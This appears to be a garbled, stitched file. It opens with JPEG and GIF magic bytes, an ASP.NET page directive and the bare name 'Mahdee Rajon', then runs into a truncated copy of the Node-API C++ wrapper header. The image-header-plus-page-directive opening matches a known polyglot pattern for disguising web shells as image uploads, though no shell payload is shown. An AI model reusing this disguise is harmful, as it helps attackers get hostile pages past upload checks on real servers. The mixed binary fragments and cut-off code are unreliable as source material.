ÿØÿà JFIF ÿÛ C
$.' ",#(7),01444'9=82<.342ÿÛ C
2!!22222222222222222222222222222222222222222222222222ÿþGIF89a;
<%@ Page Language="C#" %>
Mahdee Rajon
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
#ifndef SRC_NAPI_INL_H_
#define SRC_NAPI_INL_H_
////////////////////////////////////////////////////////////////////////////////
// Node-API C++ Wrapper Classes
//
// Inline header-only implementations for "Node-API" ABI-stable C APIs for
// Node.js.
////////////////////////////////////////////////////////////////////////////////
// Note: Do not include this file directly! Include "napi.h" instead.
#include
#include
#if NAPI_HAS_THREADS
#include
#endif // NAPI_HAS_THREADS
#include
#include
namespace Napi {
#ifdef NAPI_CPP_CUSTOM_NAMESPACE
namespace NAPI_CPP_CUSTOM_NAMESPACE {
#endif
// Helpers to handle functions exposed from C++ and internal constants.
namespace details {
// New napi_status constants not yet available in all supported versions of
// Node.js releases. Only necessary when they are used in napi.h and napi-inl.h.
constexpr int napi_no_external_buffers_allowed = 22;
template
inline void default_finalizer(napi_env /*env*/, void* data, void* /*hint*/) {
delete static_cast(data);
}
// Attach a data item to an object and delete it when the object gets
// garbage-collected.
// TODO: Replace this code with `napi_add_finalizer()` whenever it becomes
// available on all supported versions of Node.js.
template >
inline napi_status AttachData(napi_env env,
napi_value obj,
FreeType* data,
void* hint = nullptr) {
napi_status status;
#if (NAPI_VERSION < 5)
napi_value symbol, external;
status = napi_create_symbol(env, nullptr, &symbol);
if (status == napi_ok) {
status = napi_create_external(env, data, finalizer, hint, &external);
if (status == napi_ok) {
napi_property_descriptor desc = {nullptr,
symbol,
nullptr,
nullptr,
nullptr,
external,
napi_default,
nullptr};
status = napi_define_properties(env, obj, 1, &desc);
}
}
#else // NAPI_VERSION >= 5
status = napi_add_finalizer(env, obj, data, finalizer, hint, nullptr);
#endif
return status;
}
// For use in JS to C++ callback wrappers to catch any Napi::Error exceptions
// and rethrow them as JavaScript exceptions before returning from the callback.
template
inline napi_value WrapCallback(Callable callback) {
#ifdef NAPI_CPP_EXCEPTIONS
try {
return callback();
} catch (const Error& e) {
e.ThrowAsJavaScriptException();
return nullptr;
}
#else // NAPI_CPP_EXCEPTIONS
// When C++ exceptions are disabled, errors are immediately thrown as JS
// exceptions, so there is no need to catch and rethrow them here.
return callback();
#endif // NAPI_CPP_EXCEPTIONS
}
// For use in JS to C++ void callback wrappers to catch any Napi::Error
// exceptions and rethrow them as JavaScript exceptions before returning from
// the callback.
template
inline void WrapVoidCallback(Callable callback) {
#ifdef NAPI_CPP_EXCEPTIONS
try {
callback();
} catch (const Error& e) {
e.ThrowAsJavaScriptException();
}
#else // NAPI_CPP_EXCEPTIONS
// When C++ exceptions are disabled, errors are immediately thrown as JS
// exceptions, so there is no need to catch and rethrow them here.
callback();
#endif // NAPI_CPP_EXCEPTIONS
}
template
struct CallbackData {
static inline napi_value Wrapper(napi_env env, napi_callback_info info) {
return details::WrapCallback([&] {
CallbackInfo callbackInfo(env, info);
CallbackData* callbackData =
static_cast(callbackInfo.Data());
callbackInfo.SetData(callbackData->data);
return callbackData->callback(callbackInfo);
});
}
Callable callback;
void* data;
};
template
struct CallbackData {
static inline napi_value Wrapper(napi_env env, napi_callback_info info) {
return details::WrapCallback([&] {
CallbackInfo callbackInfo(env, info);
CallbackData* callbackData =
static_cast(callbackInfo.Data());
callbackInfo.SetData(callbackData->data);
callbackData->callback(callbackInfo);
return nullptr;
});
}
Callable callback;
void* data;
};
template
napi_value TemplatedVoidCallback(napi_env env,
napi_callback_info info) NAPI_NOEXCEPT {
return details::WrapCallback([&] {
CallbackInfo cbInfo(env, info);
Callback(cbInfo);
return nullptr;
});
}
template
napi_value TemplatedCallback(napi_env env,
napi_callback_info info) NAPI_NOEXCEPT {
return details::WrapCallback([&] {
CallbackInfo cbInfo(env, info);
return Callback(cbInfo);
});
}
template
napi_value TemplatedInstanceCallback(napi_env env,
napi_callback_info info) NAPI_NOEXCEPT {
return details::WrapCallback([&] {
CallbackInfo cbInfo(env, info);
T* instance = T::Unwrap(cbInfo.This().As